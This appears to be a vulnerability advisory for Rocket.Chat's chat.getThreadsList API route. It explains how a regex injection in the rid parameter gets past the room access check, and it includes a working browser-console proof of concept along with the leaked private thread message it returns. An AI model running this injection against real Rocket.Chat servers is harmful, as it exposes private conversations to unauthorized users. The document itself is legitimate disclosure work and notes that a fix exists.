The /api/v1/chat.getThreadsList
does not sanitize user inputs and can therefore leak private thread messages to unauthorized users via Mongo DB injection.
The chat.getThreadsList
API route is defined in app/api/server/v1/chat.js#L522-L572:
const { rid, type, text } = this.queryParams;
const { offset, count } = this.getPaginationItems();
const { sort, fields, query } = this.parseJsonQuery();
if (!rid) {
throw new Meteor.Error('The required "rid" query param is missing.');
}
if (!settings.get('Threads_enabled')) {
throw new Meteor.Error('error-not-allowed', 'Threads Disabled');
}
const user = Users.findOneById(this.userId, { fields: { _id: 1 } });
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}
const typeThread = {
_hidden: { $ne: true },
...(type === 'following' && { replies: { $in: [this.userId] } }),
...(type === 'unread' && {
_id: { $in: Subscriptions.findOneByRoomIdAndUserId(room._id, user._id).tunread },
}),
msg: new RegExp(escapeRegExp(text), 'i'),
};
const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
sort: sort || { tlm: -1 },
skip: offset,
limit: count,
fields,
});
const total = cursor.count();
const threads = cursor.fetch();
return API.v1.success({
threads,
count: threads.length,
offset,
total,
});
Clients can provide JSON data in Query Parameters:
const { rid, type, text } = this.queryParams;
The ACL check is performed against the first room returned by Mongo DB:
const room = Rooms.findOneById(rid, { fields: { t: 1, _id: 1 } });
if (!canAccessRoom(room, user)) {
throw new Meteor.Error('error-not-allowed', 'Not Allowed');
}
After the access permission check, the original rid
parameter is again provided as Mongo DB query input, but unlike the ACL check can return multiple results:
const threadQuery = { ...query, ...typeThread, rid, tcount: { $exists: true } };
const cursor = Messages.find(threadQuery, {
sort: sort || { tlm: -1 },
skip: offset,
limit: count,
fields,
});
An authenticated adversary can provide an input that matches to multiple rooms of which the first match can be read by the malicious user. MongoDB will return the results in storage order, so that the channel that passes the ACL check must have been created before the target. For demonstration purposes the GENERAL
channel was used:
const TARGET_ROOM = "<ROOM_ID>";
const fetchApi = async (url, options = {}) => {
return fetch(`/api/v1/${url}`, {
...options,
headers: {
'X-User-Id': Meteor._localStorage.getItem(Accounts.USER_ID_KEY),
'X-Auth-Token': Meteor._localStorage.getItem(Accounts.LOGIN_TOKEN_KEY),
'Content-Type': 'application/json',
...(options.headers || {})
}
}).then((res) => res.json())
.then((data) => { console.log(data); return data; });
};
fetchApi("chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM}").then(console.log)
The object printed to the console has the secret message included in the threads
property:
{
"threads": [
{
"_id": "7sJLzbjDL7iL56Lmc",
"rid": "YkJAwxJHe5t7BWimY",
"msg": "secret message",
"ts": "2022-01-11T12:26:20.603Z",
"u": {
"_id": "kYfzDMQLyPFjS9ASb",
"username": "gronke",
"name": "gronke"
},
"urls": [],
"mentions": [],
"channels": [],
"md": [
{
"type": "PARAGRAPH",
"value": [
{
"type": "PLAIN_TEXT",
"value": "secret message"
}
]
}
],
"_updatedAt": "2022-01-11T12:45:40.086Z",
"replies": [
"kYfzDMQLyPFjS9ASb"
],
"tcount": 1,
"tlm": "2022-01-11T12:45:39.971Z"
}
],
"count": 1,
"offset": 0,
"total": 1,
"success": true
}
For comparison it is not allowed to read the message directly:
>>> Meteor.call("getMessages", ["7sJLzbjDL7iL56Lmc"], console.log)
{
"isClientSafe": true,
"error": "error-not-allowed",
"reason": "Not allowed",
"details": {
"method": "getSingleMessage"
},
"message": "Not allowed [error-not-allowed]",
"errorType": "Meteor.Error"
}
The change was introduced in #7632f12c and did not land in a release yet. Previous versions appear to be affected in a similar way, but within the query
parameter instead of rid
.
/api/v1/chat.getThreadsList?rid[$regex]=GENERAL|${TARGET_ROOM_ID}
Authenticated users can leak thread messages from private rooms they should not have access to.
Fixed in version 5.0>